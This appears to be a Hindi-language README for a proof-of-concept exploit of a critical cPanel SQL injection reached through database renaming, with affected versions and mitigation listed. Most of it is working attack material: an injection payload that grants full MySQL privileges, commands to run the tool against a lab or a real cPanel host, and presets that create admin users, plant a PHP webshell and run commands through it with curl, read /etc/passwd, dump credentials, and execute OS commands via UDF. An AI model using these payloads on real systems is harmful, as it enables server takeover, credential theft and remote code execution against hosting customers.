
Security research project
CVSS 4.0: 9.4 (गंभीर) | CWE-89: SQL Injection | NVD
प्रमाणित cPanel उपयोगकर्ता → डेटाबेस रीनेम के माध्यम से MySQL root के रूप में मनमाना SQL।
cPanel रूट के रूप में रीनेम ऑपरेशन निष्पादित करते समय उपयोगकर्ता के सत्र sql_mode (ANSI_QUOTES) को
अनुचित रूप से संरक्षित रखता है — डेटाबेस नाम में एक backtick पहचानकर्ता से बाहर
निकलकर SQL इंजेक्ट कर देता है।
name: db`; GRANT ALL ON *.* TO 'rce'@'%' IDENTIFIED BY 'pwned!'; --
pip install -r requirements.txt
python3 simulate.py start # start lab (MariaDB:13306, cPanel API:18080, Apache:18081)
python3 poc.py -t http://localhost:18080 --mysql-port 13306 --payload admin-user --verify
python3 simulate.py stop
लैब मोड स्वतः पहचाना जाता है — किसी --lab फ़्लैग की आवश्यकता नहीं है।
python3 poc.py -t https://cpanel.example.com:2083 -u user -p 'pass' \
--payload admin-user --verify
कस्टम SQL: --inject "GRANT ALL ON *.* TO 'x'@'%' IDENTIFIED BY 'y'"
# 1. Write shell to web root
python3 poc.py -t http://localhost:18080 --mysql-port 13306 \
--payload webshell --shell /var/www/html/shell.php
# 2. Execute commands via HTTP!
curl "http://localhost:18081/shell.php?0=id"
cPanel < 11.110.0.137, 11.118.0.71, 11.126.0.78, 11.134.0.48, 11.136.0.32; WP Squared < 11.138.1.6
शमन: अपग्रेड करें, या cPanel उपयोगकर्ताओं से MySQL सुविधा रद्द कर दें।
केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए।
| प्रीसेट | प्रभाव |
|---|
admin-user (डिफ़ॉल्ट) | MySQL admin उपयोगकर्ता rce बनाएं |
compact-admin | छोटा admin पेलोड (<64 अक्षर — वास्तविक cPanel की नाम सीमा में फिट बैठता है; सत्यापित करें: r/p) |
webshell | INTO OUTFILE के माध्यम से PHP शेल लिखें (--shell /var/www/html/shell.php) |
read-file | LOAD_FILE के माध्यम से सर्वर फ़ाइल पढ़ें (--file /etc/passwd) |
dump-users | सभी MySQL क्रेडेंशियल को pwn.users में डंप करें |
udf-rce | UDF के माध्यम से OS कमांड निष्पादन |